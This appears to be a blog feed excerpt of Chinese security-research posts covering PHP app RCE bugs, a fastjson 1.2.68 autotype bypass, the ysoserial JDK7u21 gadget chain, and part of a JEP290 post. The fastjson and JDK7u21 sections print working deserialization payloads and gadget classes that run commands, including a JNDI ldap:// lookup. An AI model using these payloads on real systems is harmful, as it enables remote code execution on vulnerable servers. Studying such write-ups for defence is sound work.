					<description><![CDATA[RCE_1？ 漏洞文件 tool\log\c.php 通过URL传参初始化变量，经典的变量覆盖漏洞。 RCE_2？ tool\php_cli.php 同样的问题，感觉这个更过分了，...]]></description>
										<content:encoded><![CDATA[<h2>RCE_1？</h2>
<p><strong>漏洞文件</strong></p>
<pre><code class="language-rst line-numbers">tool\log\c.php
</code></pre>
<p>通过URL传参初始化变量，经典的变量覆盖漏洞。</p>
<p><img src="https://i.loli.net/2020/08/17/NOnveEXifm4wgCr.png" alt="" /></p>
<p><img src="https://i.loli.net/2020/08/17/ikHP9U3NXjld84G.png" alt="" /></p>
<h2>RCE_2？</h2>
<pre><code class="language-rst line-numbers">tool\php_cli.php
</code></pre>
<p>同样的问题，感觉这个更过分了，bypass waf webshell？</p>
<p><img src="https://i.loli.net/2020/08/17/AgLtZD4WzTvujkq.png" alt="" /></p>
<h2>RCE_3？</h2>
<pre><code class="language-rst line-numbers">tool\ldb_cli.php
</code></pre>
<p>同。</p>
<p><img src="https://i.loli.net/2020/08/17/LtuyDEmd3bWfzrZ.png" alt="" /></p>
<h2>RCE_4?</h2>
<pre><code class="language-rst line-numbers">tool\mdd_sql.php
</code></pre>
<p><img src="https://i.loli.net/2020/08/17/2lr87OWmsTyuAf4.png" alt="" /></p>
<h2>任意文件读取</h2>
<pre><code class="language-rst line-numbers">store\cat.php
</code></pre>
<p>算了，大家都看得懂</p>
<p><img src="https://i.loli.net/2020/08/17/YdBpjG8Fkgo6vnh.png" alt="" /></p>
<p><img src="https://i.loli.net/2020/08/17/4KzjdVSABFm1NkT.png" alt="" /></p>
<p><strong>啊，这， 算了，不看了</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>fastjson 1.2.68 bypass autotype</title>
		<link>/audit/1803.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 18 Jun 2020 01:09:36 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[fastjson]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1803</guid>

					<description><![CDATA[基于期望类的特性 分析 com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String typeName, Class&#038;...]]></description>
										<content:encoded><![CDATA[<p>基于期望类的特性</p>
<h2>分析</h2>
<p><code>com.alibaba.<span class="wpcom_tag_link"><a href="/tags/fastjson" title="fastjson" target="_blank">fastjson</a></span>.parser.ParserConfig#checkAutoType(String typeName, Class&lt;?&gt; expectClass, int features)</code>方法有三个参数分别是</p>
<ol>
<li>typeName 被序列化的类名</li>
<li>expectClass 期望类</li>
<li>features值</li>
</ol>
<p>具体看下校验过程</p>
<p>首先判断非空和安全模式以及typename长度来决定是否进行autotype。</p>
<pre><code class="language-java line-numbers">        if (typeName == null) {
            return null;
        }

        if (autoTypeCheckHandlers != null) {
            for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
                Class&lt;?&gt; type = h.handler(typeName, expectClass, features);
                if (type != null) {
                    return type;
                }
            }
        }

        final int safeModeMask = Feature.SafeMode.mask;
        boolean safeMode = this.safeMode
                || (features &amp; safeModeMask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE &amp; safeModeMask) != 0;
        if (safeMode) {
            throw new JSONException("safeMode not support autoType : " + typeName);
        }

        if (typeName.length() &gt;= 192 || typeName.length() &lt; 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }
</code></pre>
<p>然后判断期望类</p>
<pre><code class="language-java line-numbers">        final boolean expectClassFlag;
        if (expectClass == null) {
            expectClassFlag = false;
        } else {
            if (expectClass == Object.class
                    || expectClass == Serializable.class
                    || expectClass == Cloneable.class
                    || expectClass == Closeable.class
                    || expectClass == EventListener.class
                    || expectClass == Iterable.class
                    || expectClass == Collection.class
                    ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }
</code></pre>
<p>Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection这几个类不能作为expectClass期望类。</p>
<p>然后计算hash进行内部白名单、黑名单匹配</p>
<pre><code class="language-java line-numbers">        String className = typeName.replace('$', '.');
        Class&lt;?&gt; clazz;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        if (h1 == 0xaf64164c86024f1aL) { // [
            throw new JSONException("autoType is not support. " + typeName);
        }

        if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        final long h3 = (((((BASIC ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(1))
                * PRIME)
                ^ className.charAt(2))
                * PRIME;

        long fullHash = TypeUtils.fnv1a_64(className);
        boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) &gt;= 0;

        if (internalDenyHashCodes != null) {
            long hash = h3;
            for (int i = 3; i &lt; className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(internalDenyHashCodes, hash) &gt;= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        if ((!internalWhite) &amp;&amp; (autoTypeSupport || expectClassFlag)) {
            long hash = h3;
            for (int i = 3; i &lt; className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) &gt;= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) &gt;= 0 &amp;&amp; TypeUtils.getClassFromMapping(typeName) == null) {
                    if (Arrays.binarySearch(acceptHashCodes, fullHash) &gt;= 0) {
                        continue;
                    }

                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
</code></pre>
<p>如果<code>(!internalWhite) &amp;&amp; (autoTypeSupport || expectClassFlag)</code>不在内部白名单中并且开启autoTypeSupport或者有期望类时，进行hash校验白名单acceptHashCodes、黑名单denyHashCodes，在白名单内就加载，在黑名单中就抛出异常。继续</p>
<pre><code class="language-java line-numbers">        clazz = TypeUtils.getClassFromMapping(typeName);

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz == null) {
            clazz = typeMapping.get(typeName);
        }

        if (internalWhite) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
        }

        if (clazz != null) {
            if (expectClass != null
                    &amp;&amp; clazz != java.util.HashMap.class
                    &amp;&amp; !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -&gt; " + expectClass.getName());
            }

            return clazz;
        }
</code></pre>
<p>分别从getClassFromMapping、deserializers.findClass、typeMapping、internalWhite内部白名单中查找类，如果开启了expectClass期望类还要判断类型是否一致。</p>
<p>getClassFromMapping在<code>com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings</code>被赋值，添加了一些基本类，后续会当作缓存使用。<br />
<img src="https://y4er.com/img/uploads/20200616118023.png" alt="image.png" /><br />
这里先注意下<code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.lang.AutoCloseable</code>类。</p>
<p>deserializers.findClass是在<code>com.alibaba.fastjson.parser.ParserConfig#initDeserializers</code>初始化。<br />
<img src="https://y4er.com/img/uploads/20200616119542.png" alt="image.png" /><br />
也是存放了一些特殊类用来直接<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>。</p>
<p>typeMapping默认为空需要开发自己赋值，形如</p>
<pre><code class="language-java line-numbers">ParserConfig.getGlobalInstance().register("test", Model.class);
</code></pre>
<p>internalWhite内部白名单就不说了，到这里已经可以返回类了，通过<code>java.net.Inet6Address</code>、<code>java.net.URL</code>等来判断fastjson也是这个原理。</p>
<p>然后继续走就到了autoTypeSupport的校验。</p>
<pre><code class="language-java line-numbers">        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i &lt; className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                if (Arrays.binarySearch(denyHashCodes, hash) &gt;= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                // white list
                if (Arrays.binarySearch(acceptHashCodes, hash) &gt;= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

                    if (expectClass != null &amp;&amp; expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -&gt; " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }
</code></pre>
<p>黑白名单匹配。</p>
<p>继续判断使用注解JSONType的类</p>
<pre><code class="language-java line-numbers">        boolean jsonType = false;
        InputStream is = null;
        try {
            String resource = typeName.replace('.', '/') + ".class";
            if (defaultClassLoader != null) {
                is = defaultClassLoader.getResourceAsStream(resource);
            } else {
                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
            }
            if (is != null) {
                ClassReader classReader = new ClassReader(is, true);
                TypeCollector visitor = new TypeCollector("&lt;clinit&gt;", new Class[0]);
                classReader.accept(visitor);
                jsonType = visitor.hasJsonType();
            }
        } catch (Exception e) {
            // skip
        } finally {
            IOUtils.close(is);
        }
</code></pre>
<p>继续</p>
<pre><code class="language-java line-numbers">        final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport
                || (features &amp; mask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE &amp; mask) != 0;

        if (autoTypeSupport || jsonType || expectClassFlag) {
            boolean cacheClass = autoTypeSupport || jsonType;
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
        }

        if (clazz != null) {
            if (jsonType) {
                TypeUtils.addMapping(typeName, clazz);
                return clazz;
            }

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    TypeUtils.addMapping(typeName, clazz);
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -&gt; " + expectClass.getName());
                }
            }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
            if (beanInfo.creatorConstructor != null &amp;&amp; autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
</code></pre>
<p>如果有注解，则加入mapping缓存并直接返回。如果没有注解判断clazz类是否继承或实现classloader、dataSou<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>、RowSet，抛出异常防止jndi注入。</p>
<p>如果expectClass期望类不为空，则需要加载的类是期望类的子类或实现，并直接返回，否则异常。</p>
<p>如果类使用<code>JSONCreator</code>注解并且开启autoTypeSupport，抛出异常。</p>
<p>最后就是判断是否开启autoTypeSupport特性，将clazz添加进缓存，并且return clazz。</p>
<pre><code class="language-java line-numbers">        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        if (clazz != null) {
            TypeUtils.addMapping(typeName, clazz);
        }
</code></pre>
<p>可以看到主要有如下种情况可以直接返回class</p>
<p>TypeUtils.mappings mappings缓存1.2.47中就被绕过了一次autotype。而这次绕过是在于<code>exceptClass</code>期望类这个功能。</p>
<p>期望类的功能主要是实现/继承了期望类的class能被反序列化出来（并且不受autotype影响），寻找checkAutoType方法的调用，要求exceptClass不为空。</p>
<p><img src="https://y4er.com/img/uploads/20200616112778.png" alt="image.png" /></p>
<p>只有两个类<code>JavaBeanDeserializer</code>、<code>ThrowableDeserializer</code>中调用了checkAutoType并且exceptClass不为空。</p>
<p>在<code>com/alibaba/fastjson/parser/ParserConfig.java:826</code>中对一些基本的类型设置了对应的反序列化实例deserializer<br />
<img src="https://y4er.com/img/uploads/20200616112730.png" alt="image.png" /><br />
ThrowableDeserializer是Throwable用来反序列化异常类的，当没有命中之前程序给定的类型时会进入createJavaBeanDeserializer()，其实就是JavaBeanDeserializer。</p>
<p>先看ThrowableDeserializer中<br />
<img src="https://y4er.com/img/uploads/20200616111164.png" alt="image.png" /></p>
<p>根据第二个<code>@type</code>获取类，并且传入指定期望类进行加载。因此可以反序列化继承Throwable的异常类，借助setter、getter等方法的自动调用，来挖掘gadget。浅蓝师傅给了一个gadget</p>
<pre><code class="language-java line-numbers">package org.chabug.fastjson.exploit;

import java.io.IOException;

public class ExecException extends Exception {

    private String domain;

    public ExecException() {
        super();
    }

    public String getDomain() {
        return domain;
    }

    public void setDomain(String domain) {
        this.domain = domain;
    }

    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
        } catch (IOException e) {
            return e.getMessage();
        }

        return super.getMessage();
    }
}
</code></pre>
<p>提交json触发rce</p>
<pre><code class="language-java line-numbers">{
  "@type":"java.lang.Exception",
  "@type": "org.chabug.fastjson.exploit.ExecException",
  "domain": "y4er.com | calc"
}
</code></pre>
<p>当然很少有开发者把命令执行写道异常类处理中，所以Throwable鸡肋。</p>
<p>再来看JavaBeanDeserializer，在fastjson中对大部分类都指定了特定的deserializer，而AutoCloseable类没有，通过继承/实现AutoCloseable的类可以绕过autotype反序列化。场景如下：</p>
<pre><code class="language-java line-numbers">package org.chabug.fastjson.exploit;

import java.io.Closeable;
import java.io.IOException;

public class ExecCloseable implements Closeable {
    private String domain;

    public ExecCloseable() {
    }

    public ExecCloseable(String domain) {
        this.domain = domain;
    }

    public String getDomain() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
        } catch (IOException e) {
            e.printStackTrace();
        }
        return domain;
    }

    public void setDomain(String domain) {
        this.domain = domain;
    }

    @Override
    public void close() throws IOException {

    }
}
</code></pre>
<p>提交json触发rce</p>
<pre><code class="language-java line-numbers">{
  "@type":"java.lang.AutoCloseable",
  "@type": "org.chabug.fastjson.exploit.ExecCloseable",
  "domain": "y4er.com | calc"
}
</code></pre>
<p>fastjson在黑名单中还加上了java.lang.Runnable、java.lang.Readable，这个利用场景拿Runnable举个例子</p>
<pre><code class="language-java line-numbers">package org.chabug.fastjson.exploit;

import java.io.IOException;

public class ExecRunnable implements AutoCloseable {
    private EvalRunnable eval;

    public EvalRunnable getEval() {
        return eval;
    }

    public void setEval(EvalRunnable eval) {
        this.eval = eval;
    }

    @Override
    public void close() throws Exception {

    }
}

class EvalRunnable implements Runnable {
    private String cmd;

    public String getCmd() {
        System.out.println("EvalRunnable getCmd() "+cmd);
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
        return cmd;
    }

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }

    @Override
    public void run() {

    }
}
</code></pre>
<pre><code class="language-java line-numbers">{
  "@type":"java.lang.AutoCloseable",
  "@type": "org.chabug.fastjson.exploit.ExecRunnable",
  "eval":{"@type":"org.chabug.fastjson.exploit.EvalRunnable","cmd":"calc"}
}
</code></pre>
<p>Readable同理。</p>
<p>拓展使用$ref拓展攻击面，使用parse()解析的也能触发任意getter。这个payload来自 <a class="wp-editor-md-post-content-link" href="https://github.com/threedr3am/learnjavabug/commit/ea61297cf7b2125ecae0064d2b8061a9e32db1e6">@threedr3am</a></p>
<pre><code class="language-java line-numbers">package org.chabug.fastjson.exploit;

import com.alibaba.fastjson.JSON;
import org.apache.shiro.jndi.JndiLocator;
import org.apache.shiro.util.Factory;

import javax.naming.NamingException;

public class RefAnyGetterInvoke&lt;T&gt; extends JndiLocator implements Factory&lt;T&gt;, AutoCloseable {
    private String resourceName;

    public RefAnyGetterInvoke() {
    }

    public static void main(String[] args) {
        String json = "{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\": \"org.chabug.fastjson.exploit.RefAnyGetterInvoke\",\n" +
                "  \"resourceName\": \"ldap://localhost:1389/Calc\",\n" +
                "  \"instance\": {\n" +
                "    \"$ref\": \"$.instance\"\n" +
                "  }\n" +
                "}";
        System.out.println(json);
        JSON.parse(json);   // 默认不会调用getter 使用$ref就可以调用到getInstance()
//        JSON.parseObject(json); // parseObject默认就会调用getter getInstance()
    }

    public T getInstance() {
        System.out.println(getClass().getName() + ".getInstance() invoke.");
        try {
            return (T) this.lookup(this.resourceName);
        } catch (NamingException var3) {
            throw new IllegalStateException("Unable to look up with jndi name '" + this.resourceName + "'.", var3);
        }
    }

    public String getResourceName() {
        System.out.println(getClass().getName() + ".getResourceName() invoke.");
        return this.resourceName;
    }

    public void setResourceName(String resourceName) {
        System.out.println(getClass().getName() + ".setResourceName() invoke.");
        this.resourceName = resourceName;
    }

    @Override
    public void close() throws Exception {

    }
}
</code></pre>
<h2>gadget</h2>
<pre><code class="language-java line-numbers"> if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }
</code></pre>
<p>因为这几行代码的限制，大部分的JNDI gadget都不能用了，需要找到一条基于AutoCloseable的新gadget。浅蓝师傅给的思路是挖掘文件读写操作。我还在挖掘中，欢迎各位师傅交流。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ysoserial JDK7u21</title>
		<link>/audit/1799.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 10 Jun 2020 03:21:11 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[jdk]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1799</guid>

					<description><![CDATA[0^anything=anything 环境 jdk7u21 ysoserial idea 复现 package ysoserial.mytest; import ysoseria...]]></description>
										<content:encoded><![CDATA[<p>0^anything=anything</p>
<h2>环境</h2>
<p><span class="wpcom_tag_link"><a href="/tags/jdk" title="jdk" target="_blank">jdk</a></span>7u21 <span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span> idea</p>
<h2>复现</h2>
<p><img src="https://y4er.com/img/uploads/20200610111235.png" alt="image.png" /></p>
<pre><code class="language-java line-numbers">package ysoserial.mytest;

import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class JDK7u21 {
    public static void main(String[] args) {
        try {
            Object calc = new Jdk7u21().getObject("calc");

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(calc);//序列化对象
            objectOutputStream.flush();
            objectOutputStream.close();

            byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            Object o = objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<h2>分析</h2>
<p>首先简单两行代码<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span></p>
<pre><code class="language-java line-numbers">TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
object.getOutputProperties();
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200610115520.png" alt="image.png" /></p>
<p>createTemplatesImpl 是使用 <span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>ssist 动态的添加的恶意 java 代码，初始化时自动执行，之前的文章中说过，getOutputProperties()中调用newTransformer()<br />
<img src="https://y4er.com/img/uploads/20200610114926.png" alt="image.png" /></p>
<p>调用了getTransletInstance()<br />
<img src="https://y4er.com/img/uploads/20200610115760.png" alt="image.png" /></p>
<p>getTransletInstance()中将恶意字节码加载进来并且new实例，在实例化时rce。<br />
<img src="https://y4er.com/img/uploads/20200610110173.png" alt="image.png" /></p>
<p>现在的问题就是如何<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>自动调用getOutputProperties，把yso的payload抠出来</p>
<pre><code class="language-java line-numbers">    public Object getObject(final String command) throws Exception {
        final Object templates = Gadgets.createTemplatesImpl(command);

        String zeroHashCodeStr = "f5a5a608";

        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
        Reflections.setFieldValue(tempHandler, "type", Templates.class);
        Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

        LinkedHashSet set = new LinkedHashSet(); // maintain order
        set.add(templates);
        set.add(proxy);

        Reflections.setFieldValue(templates, "_auxClasses", null);
        Reflections.setFieldValue(templates, "_class", null);

        map.put(zeroHashCodeStr, templates); // swap in real object
        return set;
    }
</code></pre>
<p>map先是存了一个<code>f5a5a608=foo</code>，然后f5a5a608值改为TemplatesImpl恶意对象</p>
<p>set对象存放了TemplatesImpl恶意对象和Templates的动态代理对象</p>
<p><img src="https://y4er.com/img/uploads/20200610119092.png" alt="image.png" /></p>
<p>LinkedHashSet继承HashSet，其readObject在HashSet中<br />
<img src="https://y4er.com/img/uploads/20200610113776.png" alt="image.png" /></p>
<p>在该readObjcet中会将反序列化的对象put()放入map中（HashSet本质是HashMap），先添加templates再添加proxy。在put()第二次添加proxy的时候，map中已经有了一个TemplatesImpl<br />
<img src="https://y4er.com/img/uploads/20200610115905.png" alt="image.png" /><br />
所以会拿上一个Entry的key做比较，当key对象相等时新值替换旧值，返回旧值。</p>
<pre><code class="language-java line-numbers">e.hash == hash &amp;&amp; ((k = e.key) == key || key.equals(k))
</code></pre>
<p>问题就出在<code>key.equals(k)</code>，但是要想进入equals方法需要满足前面的几个短路条件</p>
<ol>
<li>e.hash == hash 为真</li>
<li>(k = e.key) == key 为假</li>
</ol>
<p>e.hash是在生成payload的时候<code>set.add(proxy)</code>计算的，贴一下堆栈</p>
<pre><code class="language-java line-numbers">hashCodeImpl:293, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:64, AnnotationInvocationHandler (sun.reflect.annotation)
hashCode:-1, $Proxy0 (com.sun.proxy)
hash:351, HashMap (java.util)
put:471, HashMap (java.util)
add:217, HashSet (java.util)
getObject:84, Jdk7u21 (ysoserial.payloads)
rce:21, JDK7u21 (ysoserial.mytest)
main:16, JDK7u21 (ysoserial.mytest)
</code></pre>
<p>在java.util.HashMap#put添加键值的时候会计算对象hash，走了一个hash(key)函数<br />
<img src="https://y4er.com/img/uploads/20200610110429.png" alt="image.png" /></p>
<p>而key此时是proxy动态代理对象，要调用它的hashCode()函数需要走动态代理的invoke接口，当调用方法名为hashCode时，会进入hashCodeImpl()<br />
<img src="https://y4er.com/img/uploads/20200610117633.png" alt="image.png" /></p>
<pre><code class="language-java line-numbers">    private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }
</code></pre>
<p>这个方法遍历memberValues这个map对象，然后做了</p>
<pre><code class="language-java line-numbers">v += 127 * (key).hashCode() ^ memberValueHashCode(value);
</code></pre>
<p><code>memberValueHashCode()</code>直接返回<code>var0.hashCode()</code>，也就是直接返回原本对象的hashcode，但是还要走一次亦或，所以要让<code>127 * (key).hashCode()=0</code>，而key为<code>f5a5a608</code>，他的hashcode刚好为0，到这里不得不惊叹作者的巧妙。</p>
<blockquote><p>
  拓展: 空字符串和<code>\u0000</code>的hashCode都为0
</p></blockquote>
<p><img src="https://y4er.com/img/uploads/20200610119892.png" alt="image.png" /></p>
<p>e.hash==hash其实就是拿proxy代理的<code>@javax.xml.transform.Templates(f5a5a608=foo)</code>对象的hash和之前计算的自身hash做比较，结果当然为true。</p>
<p><code>(k = e.key) == key</code>拿proxy对象和Templates比较肯定为false。</p>
<p>走到key.equals(k)这一步，也就是<code>proxy.equals(templates)</code>。同理调用proxy的equals函数需要通过invoke接口走<br />
<img src="https://y4er.com/img/uploads/20200610113803.png" alt="image.png" /></p>
<p>然后<br />
<img src="https://y4er.com/img/uploads/20200610113821.png" alt="image.png" /></p>
<p>getMemberMethods()取出两个无参方法<br />
<img src="https://y4er.com/img/uploads/20200610114904.png" alt="image.png" /></p>
<p>在这调用了getOutputProperties()，回到上文的rce流程就串起来了。</p>
<h2>修复</h2>
<pre><code class="language-java line-numbers">    AnnotationInvocationHandler(Class&lt;? extends Annotation&gt; var1, Map&lt;String, Object&gt; var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() &amp;&amp; var3.length == 1 &amp;&amp; var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }
</code></pre>
<p>对于this.type进行了校验必须为Annotation.class</p>
<h2>参考</h2>
<ol>
<li>https://mp.weixin.qq.com/s/qlg3IzyIc79GABSSUyt-OQ</li>
<li>https://b1ue.cn/archives/176.html</li>
<li>https://xz.aliyun.com/t/6884</li>
<li>https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Bypass JEP290</title>
		<link>/audit/1791.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 29 May 2020 03:32:29 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[RMI]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1791</guid>

					<description><![CDATA[关于JEP290 JEP290是Java底层为了缓解反序列化攻击提出的一种解决方案，主要做了以下几件事 提供一个限制反序列化类的机制，白名单或者黑名单。 限制反序列化的深度和复杂度...]]></description>
										<content:encoded><![CDATA[<h2>关于JEP290</h2>
<p>JEP290是Java底层为了缓解<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>攻击提出的一种解决方案，主要做了以下几件事</p>
<ol>
<li>提供一个限制反序列化类的机制，白名单或者黑名单。</li>
<li>限制反序列化的深度和复杂度。</li>
<li>为<span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span>远程调用对象提供了一个验证类的机制。</li>
<li>定义一个可配置的过滤机制，比如可以通过配置properties文件的形式来定义过滤器。</li>
</ol>
<h2>JEP290的实际限制</h2>
<p>写一个RMIServer</p>
<p>RMIServer.<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span></p>
<pre><code class="language-java line-numbers">package org.chabug.rmi.server;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static String HOST = "127.0.0.1";
    public static int PORT = 1099;
    public static String RMI_PATH = "/hello";
    public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;

    public static void main(String[] args) {
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);
            // 创建一个服务
            Hello hello = new HelloImpl();
            // 服务命名绑定
            Naming.rebind(RMI_NAME, hello);

            System.out.println("启动RMI服务在" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>HelloImpl.java</p>
<pre><code class="language-java line-numbers">package org.chabug.rmi.server;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements Hello {
    protected HelloImpl() throws RemoteException {
    }

    public String hello() throws RemoteException {
        return "hello world";
    }

    public String hello(String name) throws RemoteException {
        return "hello" + name;
    }

    public String hello(Object object) throws RemoteException {
        System.out.println(object);
        return "hello "+object.toString();
    }
}
</code></pre>
<p>Hello.java</p>
<pre><code class="language-java line-numbers">package org.chabug.rmi.server;


import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String hello() throws RemoteException;
    String hello(String name) throws RemoteException;
    String hello(Object object) throws RemoteException;
}
</code></pre>
<p>使用JDK7u21打Commonscollections1，成功弹出calc。<br />
<img src="https://y4er.com/img/uploads/20200529110235.png" alt="image.png" /></p>
<p>使用JDK8u221启动RMIServer攻击失败<br />
<img src="https://y4er.com/img/uploads/20200529113177.png" alt="image.png" /><br />
报错显示</p>
<pre><code class="line-numbers">ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 298, ex: n/a
</code></pre>
<h2>JEP290的过滤机制</h2>
<p>在上文的报错中可见<code>sun.reflect.annotation.AnnotationInvocationHandler</code>被拒绝，跟一下RMI的过程，看下在哪里过滤了，JEP290又是怎么实现的。以下使用JDK8U221调试</p>
<p>首先我们要清楚RMI的实现流程<br />
